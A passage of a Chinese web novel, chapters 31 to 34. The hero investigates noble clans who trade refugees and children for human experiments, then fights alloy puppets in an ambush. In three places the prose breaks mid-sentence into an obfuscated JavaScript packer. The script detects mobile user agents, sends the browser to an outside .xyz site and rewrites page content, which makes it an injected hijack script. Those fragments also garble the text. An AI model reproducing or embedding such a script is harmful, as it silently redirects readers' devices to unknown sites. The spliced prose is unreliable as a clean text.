暗卫在这时现身,用特制的长刀划破了腐骨蛇的腹部,蛇血溅了一地。 他走到幸存的五个部落成员面前,语气冰冷地说:“魏家奉命清理异兽,你们跟我走,去安全的地方。” 部落成员们惊魂未定,以为遇到了救星,乖乖跟着他上了马车,却没看到暗卫眼底一闪而过的冷漠。 第三个分身跟着暗卫往城西的破庙去。 破庙里住着几个逃难的老人和孩子,加起来不过七人。 这次暗卫的手段更直接——他直接放出了两头被铁链拴着的巨齿熊,巨齿熊嘶吼着冲向破庙,老人和孩子们吓得缩在角落里,连哭声都不敢发出。 暗卫等到巨齿熊把破庙的门撞碎,才上前砍断铁链,让巨齿熊去追杀逃出来的人。 有两个老人为了保护孩子,冲上去与巨齿熊搏斗,很快就被熊爪拍倒。 最后只剩下三个孩子,暗卫走过去,蹲下身,脸上挤出一丝假笑:“叔叔带你们去找吃的。”孩子们吓得浑身发抖,却不敢反抗,被他一个个抱上了马车。 张玉汝的本体在老槐树上,将这一切看得清清楚楚。 意识传回本体时,他的指节因为用力而泛白,眼底的寒意比面对异兽时还要浓烈。 他终于明白魏家的目的——他们用黑色金属筒里的药剂驱赶异兽,让异兽袭击那些偏僻、没有大家族庇护的聚居地,既借异兽的手“清理”了目击者,又能名正言顺地以“救援”为名,将幸存者带走。 这些幸存者,就是魏家人体实验的“素材”! 之前他还在疑惑,魏家从哪里找来这么多实验素材,又如何掩盖掠夺的痕迹。 现在终于明白了:偏僻聚居地的人本就存在感低,就算全部消失,也不会引起太大注意。 而异兽袭击的“现场”,更是完美的遮羞布—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甚至,会不会与长安城其他势力勾结,通过某种隐秘渠道“采购”活人? 这些疑问像细密的网,将张玉汝的思绪缠绕。 他很清楚,眼前看到的“异兽袭击—抓捕幸存者”,不过是魏家与柳家实验链条中最表层的一环。 若只盯着这一环动手,即便捣毁了魏家的古堡,也不过是斩断了一根藤蔓,深埋在地下的根系——那些更隐蔽的素材来源、更核心的实验基地、甚至可能存在的“实验成果交易网络”,都会因为这次贸然行动而彻底隐藏。 他甚至能预想到贸然出手后的场景:自己捣毁魏家据点,消息很快会传遍长安城。 赵家会以“维护雍州秩序”为由,派人接管魏家的部分产业;秦家会趁机吞并魏家的兵器工坊;柳家则会摆出“受害者”的姿态,暗中清理自家与魏家的关联痕迹。 其他家族看似在“落井下石”,实则是在瓜分魏家的遗产,没人会真正关心“人体实验”的真相,更没人会去追查柳家隐藏的问题。 等到风头过去,柳家只会换一种更隐蔽的方式继续实验——或许会把基地搬到更偏远的山区。 或许会用“药材种植”的名义掩盖实验痕迹,到那时,再想找到线索,只会难上加难。 “不能急。”张玉汝低声对自己说,指尖的晶石被他握得更紧,冰冷的触感让他的头脑愈发清醒。 他需要的不是“一时的痛快”,而是能彻底揭露这一切的“铁证”——不仅要找到魏家所有的实验据点,更要挖出柳家大规模实验的素材来源,甚至要查清这两家是否在实验上存在“合作”,有没有更高层级的势力在背后默许或支持。 他转身望向山下的小路,那里有他之前留下的一道分身——这具分身正伪装成流民,跟着一支往长安方向迁徙的队伍缓慢移动。 此前追查时,他发现这支队伍的向导,腰间别着一枚秦家人力的标识牌,而队伍里的人,大多是从益州边境逃来的难民,个个面黄肌瘦,对长安的情况一无所知。 这或许就是线索的关键——秦家会不会借着“收留难民”的名义,筛选适合做实验的“素材”? 张玉汝收回目光,决定暂时按兵不动。 他要让分身继续跟着那支队伍,查清他们最终的去向。 同时,他会继续监控魏家古堡的动静,记录下每一辆进出的马车、每一个往来的人员,从这些细微的痕迹中,找出魏家与柳家的关联。 至于小雪,他已经在山谷里布下了更严密的能量屏障,还留下了两具分身守护,确保她不会再受到任何威胁。 夜色渐深,长安城里的灯火次第亮起,勾勒出这座城市的繁华轮廓。 可在张玉汝眼中,这份繁华之下,藏着太多不为人知的黑暗。 他知道,等待的过程或许会很漫长,甚至可能会看到更多令人愤怒的真相。 但他必须坚持——只有等到所有线索都串联起来,等到能一举戳破这层黑暗的时机出现,他才能真正为那些无辜的人讨回公道。 「」 「」 第 32章 偷袭 长安城的夜色总带着几分暧昧的掩护,无数阴谋在灯红酒绿的缝隙里滋生,又被精心编织的“真相”掩盖。 魏家的马车在夜色中穿梭,车夫马鞭扬起的弧度与平日无异;秦家矿场的运料车按时出入,车轮碾过石板路的声响,混在市井喧嚣里毫不起眼。 可这一切,在张玉汝那双紧盯真相的眼眸里,不过是一层薄薄的窗纸,只需找到那道细微的裂痕,便能轻易捅破。 他从未停下追查的脚步。 白日里,他让分身伪装成不同身份——或为挑着货担的货郎,穿梭在秦家矿场周边的村落,听矿工家属闲聊“最近矿场总丢些破旧的铁笼”;或为修补马车的匠人,在魏家常用的车马行里,悄悄检查车轮缝隙里残留的泥土,比对是否与秦家矿场附近的土质吻合。 夜里,他则亲自开启「造化之眼」,潜伏在魏家与秦家往来的隐秘通道旁,任由风刀霜剑侵蚀,也不愿错过任何蛛丝马迹。 那些掩盖真相的手段,在他面前渐渐失效。魏家为了隐藏马车去向,特意让车夫绕远路,还在车轮上裹上麻布减少痕迹,可「造化之眼」能看穿麻布摩擦地面的纹路,顺着这些淡金色的轨迹,依旧能追到秦家矿场的后门。 秦家为了掩盖交易,将“素材”混在矿场的“废奴”队伍里,对外宣称是“体弱不能挖矿、送去别处做杂役的人”。 可张玉汝在暗卫护送“废奴”的腰牌上,发现了只有魏家实验据点才会使用的暗纹——那是一种刻在边缘的、形似蛇鳞的细小纹路,此前在魏家古堡护卫的腰牌上,他曾见过一模一样的印记。 真正的突破口,出现在一个暴雨后的清晨。张玉汝的分身伪装成清理河道的杂役,在秦家矿场下游的河水里,发现了一个被冲上岸的破损木盒。 木盒材质特殊,是只有秦家工坊才会使用的防腐木料,盒内残留着淡淡的药剂气味——与他之前在魏家实验废料中闻到的气味完全一致。 更关键的是,木盒底部刻着一串模糊的编号,「造化之眼」激活后,编号旁隐约显露出一行被刻意刮掉的小字:“秦矿丙区-魏字十七号”。 “秦矿丙区”“魏字十七号”——这两个标识像钥匙般,打开了真相的大门。 张玉汝立刻让本体潜入秦家矿场外围,借着「造化之眼」的效果,看穿了丙区矿洞的秘密:这里表面是挖矿的场所,深处却藏着一条狭窄的通道,通道尽头是几间封闭的石室,石室里隐约能看到铁笼的轮廓,还有人影在其中晃动。 每到深夜,便有秦家的暗卫带着锁链,将石室里的人分批押上马车,马车的目的地,正是魏家的古堡。 经过张玉汝的追查,他发现这种“交易”并不是第一次。 在秦家矿场的账房里,分身找到了一本被藏在书柜最深处的暗账,账页上用暗号记录着“货物”的数量与“交接时间”——“丙区月出三批,每批十二人,魏方付晶石五十颗。” “上月欠货七人,本月补足,另加‘特殊货’三人”。 所谓的“货物”,显然就是被当作实验素材的人;而“特殊货”,从后续跟踪的马车来看,竟是些年龄不满十岁的孩子,他们被单独装在封闭的木箱里,送到魏家古堡后,直接被带入了最深层的实验区。 张玉汝的指尖微微发凉,不是因为寒意,而是因为愤怒。 他原以为魏家已是残忍至极,却没想到秦家竟会为了利益,将自家矿场的矿工、甚至无辜的孩子,当作“货物”卖给魏家做实验。这哪里是两家的“交易”,分明是共同犯下的滔天罪行! 可他依旧没有冲动。他知道,此刻揭露秦、魏两家的交易,虽能重创两家,却未必能挖出柳家的秘密——柳家的实验规模更大,若没有稳定的“素材”来源,绝不可能支撑下去。 秦家会不会也在给柳家提供“货物”?柳家与秦、魏两家之间,是否存在更复杂的利益链条?这些疑问尚未解开,他便不能停下脚步。 张玉汝悄悄收回分身,将暗账的内容、矿场石室的位置、马车交接的时间,一一记录在自己的脑海当中。 确认秦家与魏家的实验素材交易后,张玉汝的思绪立刻聚焦到秦家另一项核心业务上——人力资源。 这项看似光鲜的产业,此刻在他眼中蒙上了一层冰冷的阴影。 早在追查秦家矿场时,他便听矿工闲聊过“秦家的人力公司比官府还靠谱”,当时只当是寻常口碑,如今想来,这“靠谱”背后,恐怕藏着的秘密不会那么简单。 秦家的人力资源网络,早在百年前便已铺开。 那时秦家刚涉足采矿产业,急需大量劳工,便派专人前往雍州各地的聚居地——从偏远的山村到繁华的集镇,与村长、镇长签订合作协议。 秦家负责为聚居地提供就业机会,聚居地则协助宣传,鼓励青壮前往秦家矿场或工坊工作。为了让合作长久,秦家还特意制定了“分层就业”制度。 识字的人可安排到账房或工坊做技术活,力气大的人去矿场当工头,就算是体弱的老人,也能在后勤部门帮忙缝补衣物、打扫卫生。 这套制度深得人心。对于雍州百姓而言,尤其是远离长安城的人,秦家的人力公司几乎是“改变命运”的唯一途径。 不用托关系、不用送礼,只要如实登记自己的能力,就能得到一份安稳的工作,甚至还能带着家人在秦家的产业区定居。 久而久之,秦家人力公司的好评率居高不下,各地聚居地的人提起它,都会竖起大拇指,没人会怀疑这份“善意”背后藏着的阴谋。 为了搞清楚其中的问题,张玉汝决定自己亲身调查。 张玉汝通过分身深入调查,终于摸清了这套“就业体系”的黑暗内核。 他让一个分身伪装成刚从偏远山村来的流民,在秦家人力公司登记时,特意表现出“无家人、无背景、识字不多”的特质——登记员的态度果然变了,原本热情的笑容淡了几分,只是草草记录信息,让他先去“临时安置点”等候消息。 另一个分身则伪装成“有家族支持的文化青年”,登记员立刻殷勤地介绍起账房的工作,还当场安排了面试时间,态度截然不同。 后续的追踪更印证了他的猜测:那些“有价值”的人——或是有背景、或是有特殊技能、或是家人联系紧密的,会被顺利安排到正规岗位,薪资、住宿都有明确保障。 而那些“无依无靠”的人,会被以“岗位调配”为由,送往秦家矿场的“丙区”或“丁区”——这些区域对外宣称是“新开发的矿区”,实则是关押实验素材的中转站。 张玉汝的分身曾跟着一批“待安置流民”前往丙区,沿途看到的铁笼、守卫的暗卫,以及空气中若有若无的药剂味,都与魏家实验据点的场景如出一辙。 秦家的“筛选”并非一直如此肆无忌惮。 通过查阅秦家人力公司的旧档案(他的分身潜入档案室,用「造化之眼」还原了被销毁的记录),张玉汝发现,在异兽入侵之前,雍州局势平稳的那些年,秦家几乎没有向魏家输送过实验素材。 那时的“临时安置点”,真的只是安置流民的地方,就算是无依无靠的人,也能在后勤部门找到一份糊口的工作。档案里甚至有记载:某年大旱,秦家还特意扩招了两百多名流民,帮他们度过难关。 “混乱,才是让他们下定决心的推手。”张玉汝低声自语。 异兽入侵后,雍州各地一片狼藉——村落被毁、流民四散、消息传递受阻,很多人就算失踪,也会被归咎于“异兽袭击”。 正是这种混乱,让秦家彻底撕下了“善意”的面具:他们不再掩饰对“无依无靠者”的筛选。 甚至故意夸大“长安就业机会”,吸引更多流民前来;输送素材的马车,混在运送救援物资的队伍里,没人会怀疑;就算有人察觉异常,也因局势混乱,无法向上举报。 他还发现,秦家的“业务”不止对接魏家。 在最近的档案记录里,有几批“素材”的目的地并非魏家古堡,而是柳家在云溪镇的一处“药材种植基地”——那里正是他之前发现高阶实验符文的地方。 这意味着,柳家大规模实验的“素材”,很可能也来自秦家的人力公司! 真相的轮廓越来越清晰:秦家用百年建立的人力资源网络,看似是为雍州百姓提供帮助,实则是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450434|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在为魏家、柳家筛选实验素材。 而异兽入侵带来的混乱,让他们的阴谋彻底暴露,也让更多无辜者沦为了实验台上的“牺牲品”。 夜色中的秦家人力公司渐渐安静下来,只有门口的灯笼还在风中摇曳,映出张玉汝隐在阴影里的身影。 他指尖捏着从秦家档案室抄录的素材输送清单,眉头拧成了死结——即便将清单上所有流向柳家的“名额”全部算上,再加上柳家可能从其他小势力获取的零散素材,依旧填不满他根据柳家实验规模算出的“缺口”。 这段时间,他靠着过目不忘的记忆与快速学习能力,早已将人体实验的核心技术、柳家制药的独特工艺摸得透彻。 他能从实验数据当中反推柳家进行实验所需的“活体基数”——比如试验改进一支“强化型能量药剂”,需要至少三名中阶能力者的活体能量提取。 而三名中级能力者的活体能力大致等于九百个普通人的活体能量。 而柳家每月新增药剂种类,再加上库存储备,推算出的“活体需求”竟比秦家输送量多了近三倍。 这多出来的“缺口”,柳家是从哪里填补的?是还有其他未被发现的“素材供应商”? 还是柳家掌握了更高效的“素材利用技术”,能以更少的人完成更多实验? 比“素材缺口”更让他困惑的,是秦家的动机。 他从不相信世家有什么“道德底线”,可世家最看重的“利益权衡”,秦家此刻的选择却完全不符合逻辑。 秦家用核心产业“人力资源”做赌注,为魏、柳两家输送素材,换来的不过是每月几千颗能量晶石、几批药剂——这点利益,对比秦家庞大的产业体量,简直是九牛一毛。 他很清楚秦家承担的风险:一旦“素材交易”曝光,秦家人力公司几十年积累的口碑会瞬间崩塌,各地聚居地绝不会再信任他们,甚至可能联合起来抵制秦家产业。 更严重的是,长安镇守府即便再偏袒世家,也不可能容忍“贩卖活人做实验”的罪行。 到时候秦家不仅会失去人力资源这块支柱,甚至可能被其他家族联手瓜分矿场与工坊。 这种“高风险低回报”的买卖,精明的秦家怎么会做? 难道秦家有不得不这样做的“把柄”? 比如被魏、柳两家抓住了什么致命秘密,只能被迫合作?还是秦家在这场交易里,得到了比“晶石”更重要的“隐性利益”——比如魏家的破阵**技术、柳家的药剂配方? 可即便如此,也不值得用整个人力资源产业冒险。 张玉汝越想越觉得不对劲,仿佛有一张无形的网,将秦、魏、柳三家都罩在里面,而网的中心,还有一个未被发现的、更强大的存在在操控一切。 他正沉浸在思考中,却突然察觉到身后传来一丝极细微的破空声——那声音轻得像风吹过树叶,却带着致命的寒意。 张玉汝几乎是本能地向左侧翻滚,身体刚离开原地,一枚精致的银色飞刀便擦着他的后颈飞过,“笃”地钉进旁边的墙壁里,刀柄还在微微震颤。 飞刀通体刻着细密的蛇鳞纹,刀身泛着淡蓝色的光泽,显然淬过剧毒——只需划破一点皮肤,毒素便会瞬间侵入经脉。 他猛地抬头,望向飞刀射来的方向——只见一道黑影正贴着屋顶的瓦片快速移动,身形敏捷得像夜猫,转眼便要消失在巷子尽头。 张玉汝眼神一凛,体内能量瞬间运转,脚下轻点地面,化作一道残影追了上去。 他很清楚,这绝非普通的刺客——能在他毫无察觉的情况下靠近,还能使用淬毒的特制飞刀,背后一定有人指使。 黑影似乎知道甩不掉他,突然在一处废弃的戏台前停下,转过身来。 月光透过戏台的破洞洒下,照亮了黑影脸上的青铜面具——面具上刻着一只狰狞的异兽图案,正是魏家的家族徽记。 “姜离?不,该叫你‘张玉汝’才对。”黑影的声音经过变声处理,沙哑得像砂纸摩擦木头,“没想到你竟然能查到这么多秘密。” 张玉汝没有说话,只是缓缓抽出能量长刀。 「造化之眼」悄然激活,此人已经被他完全锁定。 第 33章 伏击 “你是谁?为何会知晓我的身份?”张玉汝手腕轻旋,将那柄凝聚着浓黑墨气的长刀缓缓背至身后,刀柄末端的墨丝还在微微颤动,似有不甘沉寂的杀意。 他周身的气流因这柄刀的出现而泛起细碎的涟漪,却并未急于摆出进攻姿态——比起眼前未知的敌人,对方能识破他隐藏身份这件事,反倒更让他眼底浮出几分探究的兴味。 戏台上方的雕花横梁后,一道沙哑如砂纸摩擦的声音缓缓落下,带着几分刻意压低的傲慢:“废话不必多讲,我们的手段,绝非你能想象。” 那声音裹在戏台的木梁阴影里,分不清具体方位,只听得木屑被气流吹动的细微声响,隐约能判断出说话人正贴在梁上,气息却压得极稳,显然是个擅长隐匿的老手。 张玉汝眉头骤然蹙起,鼻尖似乎都萦绕着那声音带来的滞涩感,他下意识偏了偏头,语气里带着毫不掩饰的嫌恶:“这嗓音难听得刺耳,你还是闭紧嘴更妥当些。” 话音刚落,他指尖已悄悄凝起一缕淡白气息,目光扫过戏台周围的立柱与帷幕,没放过任何一处可能藏人的角落。 “蠢货!我在等支援,你又在等什么?” 偷袭者的笑声从戏台东侧的帷幕后传来,带着明显的嘲讽。 话音未落,他已率先动手——三道泛着青黑光泽的毒刺从帷幕后射出,直奔张玉汝的胸口与咽喉。 与此同时,戏台西侧的立柱后、北侧的台阶下,也接连射出数十道攻击:有带着火焰的短箭,有缠绕着藤蔓的飞石,还有泛着寒光的**,从各个角度袭来,将张玉汝的退路几乎全部封死。 “当然是在等你们全部跳出来。”张玉汝的声音依旧平静,甚至带着一丝不易察觉的笑意。 就在那些攻击即将抵达身前的瞬间,他双眼骤然亮起——左眼流转着如墨般的黑色光芒,右眼则泛着温润的白色光晕,「加速世界」与「造化之眼」两大能力在同一时刻生效。 刹那间,周围的一切似乎都慢了下来:毒刺上滴落的黑色毒液在空中划出细小的弧线,火焰短箭尾部的火星缓缓散开,藤蔓飞石上缠绕的叶片轻轻颤动。 所有攻击的运动轨迹,如同一条条清晰的光带,在张玉汝的脑海中交织成一幅完整的画面。 那些攻击看似密集无缝,从上下左右各个方向封锁了他的闪避空间,甚至连他脚下的地面都有几道土刺正在悄悄隆起。 可若仔细观察便能发现,每道攻击之间都存在着微不可察的差异:毒刺的飞行速度比火焰短箭快了半分,藤蔓飞石的轨迹比**多了一丝弧度。 而西侧立柱后射出的短箭,与北侧台阶下射出的**之间,恰好留有一道不足半尺宽的空隙,那空隙虽小,却足够他从容闪避。 “刹那。”张玉汝轻声吐出二字,声音轻得仿佛被风吹散,却带着不容置疑的决断。 话音未落,他周身的能量骤然剧烈浮动——原本萦绕在周身的淡白气息瞬间凝聚,化作一层薄薄的光膜包裹住他的身形。 下一秒,光膜骤然收缩,张玉汝的身影便如被按下了加速键般,进入了极致的急速状态。 周围的空气被他的动作撕裂,发出细微的“嗤嗤”声,戏台帷幕被气流掀起一角,又迅速落下,只留下一道转瞬即逝的残影。 旋即,他整个人化作一道耀眼的白色流光,贴着那些密集的攻击擦身而过。 青黑毒刺几乎是擦着他的衣袖飞过,毒汁落在地面上“滋滋”腐蚀出细小的坑洼;火焰短箭的热浪燎得他鬓发微卷,却没能伤及他分毫。 缠绕着藤蔓的飞石擦过他的肩头,带起的气流让他的衣摆微微晃动。 这些攻击看似与他近在咫尺,仿佛下一秒就能将他击中,可实际上,每一道攻击都精准地擦过他的身体,没有留下丝毫痕迹。 眨眼间,张玉汝已逼近那个最早发起攻击的身影——对方还藏在戏台东侧的帷幕后,手中正握着一枚发射毒刺的铜管,显然还没反应过来他的速度竟如此之快。 张玉汝手腕轻翻,背负在身后的墨色长刀瞬间出鞘,刀身划过空气时发出一道低沉的嗡鸣,他抬手挥刀,动作流畅而优雅,一道墨色的刀光在空中划出一道完美的弧形,直斩对方脖颈。 “当!” 一声清脆而刺耳的金铁碰撞声骤然响起,震得周围的空气都微微颤动。 张玉汝的长刀并未如他预想般斩下对方的头颅,反而在触碰到对方身体的瞬间,迸发出点点火星,刀身甚至被震得微微反弹。 他心中微惊,却没有丝毫迟疑,顺势手腕下沉,转动刀身向下斩去。 墨色刀光再次亮起,带着凌厉的气息,瞬间将对方身上那件用来隐匿身形的深色斗篷与夜行衣斩得粉碎,布料碎片如蝴蝶般飘落。 张玉汝的变招快得令人咋舌,几乎是在金铁碰撞的声响还未消散时,下一招便已接踵而至。 那藏在帷幕后的身影显然还没从上一次攻击的余韵中回过神来,身体甚至还保持着发射毒刺的姿势,只能眼睁睁看着刀光斩向自己的衣物,连闪避的机会都没有。 当破碎的布料落下,对方的真身终于显露在张玉汝眼前——那并非活人,而是一具通体由墨色金属打造的傀儡。 傀儡的身形与常人无异,关节处泛着冷硬的金属光泽,表面刻着细密的纹路,双眼是两颗暗红色的晶石,正散发着微弱的光芒。 “傀儡?”张玉汝眉头微蹙,眼中闪过一丝了然,又带着几分警惕。 他方才挥刀时能清晰感受到刀身传来的坚硬触感,这傀儡所用的墨色金属绝非寻常材质——正是神州国境内极为罕见的高端玄铁,其硬度几乎能与金属类宗师级能力者的体魄相媲美。 如此一来,他方才一刀无法斩断傀儡,倒也在情理之中。 他盯着傀儡关节处的纹路,心中暗自思索:若是金属傀儡,倒也能理解为何对方会发出那种沙哑刺耳的声音了——那定然是傀儡内部的机括运转时发出的声响,而非活人发声。 张玉汝的目光还未从玄铁傀儡的纹路中移开,那具傀儡便已率先动了。 它没有丝毫犹豫,关节处的墨色金属发出“咔嗒”的机括转动声,身形骤然前冲,带着一股沉重的压迫感直扑而来。 相较于方才躲在帷幕后远程发射毒刺,此刻的它显然更显凶悍,近战才是这具玄铁傀儡真正的专长。 傀儡的右臂骤然绷紧,拳头带着破空声砸向张玉汝的面门,拳头上的玄铁在光线下泛着冷硬的光泽,光是听那风声,便知这一拳的力道足以击碎青石。 张玉汝脚尖轻点地面,身形迅速后掠,轻巧的避开这记重击。 傀儡的拳头砸在他方才站立的地面上,“嘭”的一声闷响,青砖瞬间裂开蛛网般的纹路,碎屑飞溅。 还没等他站稳,傀儡的左腿又如钢鞭般横扫而来,目标直指他的下盘,动作衔接得毫无缝隙,显然是经过精准调试的近战招式。 就在张玉汝与这具玄铁傀儡缠斗的瞬间,原本在远处发动偷袭的那些身影也纷纷逼近。 有的从戏台顶端纵身跃下,手中握着泛着寒光的金属短刃;有的在地面上快速滑行,手臂化作管状,继续喷射着毒刺与火焰;还有几具体型稍大的傀儡,双臂竟能拆解重组,变成带着锯齿的长柄武器,从两侧迂回包抄。 这些偷袭者无一例外,全都是与眼前这具傀儡材质相似的金属傀儡,远程与近战的类型划分得极为明确,显然是一套早已设计好的协同作战阵容。 张玉汝眼神一凝,脚下的步伐再次加快,墨色长刀在身前划出一道密不透风的刀光,堪堪挡下左侧傀儡扫来的锯齿长柄,同时还要留意身后射来的毒刺。 若是单论机动性,这些傀儡远不及能催动「加速世界」的他,先前那具玄铁傀儡单独与他对战时,根本无法限制他的走位,甚至连他的衣角都碰不到。 可如今在这十余具傀儡的合围下,情况截然不同——远程傀儡的攻击封锁了他的闪避空间,近战傀儡则步步紧逼,每一次碰撞都带着玄铁特有的沉重力道,震得他手腕发麻。 他几次想凭借速度突破包围圈,却都被侧面突袭的傀儡逼了回来,一时半会竟找不到合适的脱身机会,只能暂时在包围圈中周旋,寻找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456008|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方协同作战的破绽。 “张玉汝,你那能让人瞬间衰老的能力,的确让不少人忌惮——可换成这种金属身体,你又能奈我何?” 与张玉汝正面缠斗的玄铁傀儡突然开口,沙哑的声音里裹着机械特有的冰冷质感,没有丝毫情绪波动,却透着十足的嘲讽。 它说话时,胸腔处的金属板微微开合,内部传来齿轮转动的“咔啦”声,显然发声装置就藏在那里。 这具傀儡一边说着,一边再次挥拳袭来,拳头上的玄铁纹路在动作中泛起微光——这些傀儡的原材料,除了选用足够坚固的高端玄铁外,在锻造过程中还特意掺杂了一部分惰性物质。 那些惰性物质呈暗灰色,均匀地分布在玄铁的分子结构中,如同给金属镀上了一层“防护膜”,让整个傀儡的物理性质变得异常稳定,无论是能量冲击还是外力干涉,都难以改变其本质状态。 张玉汝心中早有察觉,此刻听到傀儡的话,更是确认了猜想。 他的「枯荣」能力,本质上是通过催动能量,加速生物细胞的新陈代谢与衰老进程,哪怕是体魄强悍的能力者,一旦被这股能量缠上,也会在瞬间显现老态,失去战斗力。 可眼前这些掺杂了惰性物质的合金傀儡,本身并非生物,既没有细胞,也不存在生命活动。 「枯荣」的能量落在它们身上,就如同石子投入静水,只能激起一丝微弱的能量涟漪,根本无法对其造成实质影响,能力效果大打折扣。 很显然,布置这一切的幕后之人,对张玉汝的能力有着极高的了解——不仅清楚「枯荣」的核心原理,连他另一项对生物杀伤力极强的「天人五衰」也早有防备。 那「天人五衰」本是针对生命体生机的绝杀能力,能够让对方陷入传说当中天人五衰的过程当中,可面对这些没有生机的金属傀儡,同样如同重拳打在棉花上,效果大打折扣。 张玉汝握着长刀的手微微收紧,目光扫过周围不断逼近的傀儡——这些合金傀儡的物理抗性本就极高。 他之前全力一刀斩在正面傀儡的肩头,也只在其表面留下一道浅浅的划痕,想要依靠纯粹的力量碾碎它们,无疑需要消耗极大的体能。 而此刻傀儡合围之下,他每一次格挡、闪避都要耗费心神,若是久战不下,体能迟早会被一点点耗尽,这幕后之人的布局,显然是算准了他的弱点,针对性十足。 张玉汝手腕一翻,墨色长刀再次挡开正面傀儡扫来的锯齿臂。 刀身与玄铁碰撞的震感顺着手臂传来,他却丝毫未受影响。 张玉汝目光落在周围不断收缩的傀儡包围圈上,心中自语:“这些东西的确有些棘手,关节处的惰性合金连「枯荣」都难以渗透……但要说解决它们,依旧只是时间的问题。” 他微微侧头,避开左侧傀儡射来的毒刺,脑海中瞬间闪过一个念头:对方竟然对自己的能力了解得如此透彻,连「天人五衰」的克制方法都算到了,绝不可能天真地认为,仅凭这些傀儡就能彻底拦住自己。 “所以……它们的主要作用,根本不是击败我,而是拖延时间。” 这个念头如同闪电般划过脑海,张玉汝的眼神骤然锐利起来,指尖的气息不自觉地凝得更浓——拖延时间?是在等更强大的支援赶来,还是……另有所图? “是拖延时间等待支援,还是想趁着我被缠住,对小雪下手?” “无论如何,绝对不能让他们如愿以偿!” 此刻,「加速世界」的能力仍在运转,他双眼的黑色光芒愈发深邃,周围的一切动作都慢得如同静止——傀儡挥拳的轨迹、毒刺飞行的弧度、甚至空气流动的纹路,都清晰地呈现在他眼中。 在这极致的加速状态下,他的思维速度也得到了数百倍的增幅,刚才那些从疑惑到警惕、再到决心的念头,看似复杂,实际上仅仅消耗了不到一秒钟的时间,快得连他自己都几乎察觉不到思维的间隙。 就在想明白对方“拖延时间”这个核心目的的瞬间,张玉汝同样完成了对于这些傀儡的观测。 破局之法瞬间在他脑海中成型。 第 34章 背刺 玄铁与不知名金属熔铸而成的合金傀儡,依旧在步步紧逼。 它们关节处的惰性物质泛着暗哑光泽,将「枯荣」的能量一次次弹开,连一丝裂痕都难以留下。 躯体上的合金层更是坚硬如钢,先前张玉汝用长刀劈砍时,也只在表面划出浅浅的白痕,短时间内根本无法击溃这铜墙铁壁般的防御。 从外围看去,张玉汝被十余具傀儡团团围住,远程傀儡的毒刺与火焰不断压缩他的活动空间,近战傀儡的锯齿臂与铁拳轮番袭来,他似乎真的陷入了难以脱身的困境。 可若仔细观察便会发现,他眼底的黑色光芒始终未减,嘴角甚至还藏着一丝若有若无的从容——这些沉重的金属傀儡,真的能拦住一个将速度推演到极致的能力者吗? “刹那。”张玉汝再次轻吐二字,这一次的声音里多了几分决绝。 话音落下的瞬间,他周身突然升腾起莹白如玉的能量,那能量不再是之前稀薄的光膜,而是如同沸腾的泉水般翻涌,以他的身体为中心,向着四周呈放射状射去。 细碎的莹白光点在空中散开,如同无数颗细小的白玉珠子,又似一朵骤然绽放的白玉花朵,花瓣般的能量波纹甚至将周围的气流都震得倒卷,逼得最近的几具傀儡下意识后退了半步。 在这朵“白玉花”绽放的瞬间,张玉汝将「刹那」的效能推到了极致,同时调动体内几乎所有的能量,将力量与速度提升到了身体所能承载的极限数值。 他的身影在原地留下一道近乎凝固的残影,真正的身形却快得突破了肉眼可见的范畴,只能看到一道莹白的流光在傀儡之间穿梭,连空气都被撕裂出尖锐的呼啸声。 “爆破拳!”张玉汝的声音从流光中传出,带着力量凝聚到极致的厚重感。 下一秒,那道莹白流光骤然停在一具近战傀儡的胸前,他收回长刀,右拳紧握,莹白能量尽数汇聚在拳头上,没有任何花哨的技巧,也没有附加特殊能力,只是带着最为纯粹、最为磅礴的力量,狠狠砸了下去。 这就是爆破拳——简单、粗暴,却又直接到极致。 它不需要复杂的招式配合,也不需要能量属性的加持,仅凭远超常人的力量与瞬间爆发,便能打破绝大多数防御,堪称“大力出奇迹”的典范。 然而就是这样简单粗暴的一招,此刻却透着一种难以言喻的美感——拳头上的莹白能量与傀儡的合金躯体碰撞的瞬间,能量波纹以拳头为中心扩散,形成完美的圆形。 傀儡躯体上的合金层从碰撞点开始,以均匀的弧度向外龟裂,裂纹如同精心绘制的纹路;甚至连傀儡被击飞的轨迹,都带着抛物线特有的流畅感。 这并非招式的美感,也不是力量的美感,而是一种极致数值碰撞后,呈现出的、带着规律性的“数值之美”。 张玉汝挥拳的速度快得惊人,莹白能量包裹的拳头还未完全递出,拳风便已压得周围空气微微震颤。 可他在出拳前便喊出了“爆破拳”的招式名,声音虽短,却足够让围拢的合金傀儡捕捉到信号。 这些傀儡的核心程序里,显然预设了应对强力攻击的指令,听到招式名的瞬间,最靠前的三具近战傀儡便同时做出了闪避姿态。 左侧傀儡猛地向后撤步,右腿在地面划出深深的金属划痕;中间傀儡则试图侧翻,借助躯体的灵活性避开拳锋;右侧傀儡甚至直接抬起锯齿臂,想将攻击格挡开来,显然都不愿被这凝聚了极致力量的一拳命中。 可这一拳,又岂是它们想躲便能躲开的? 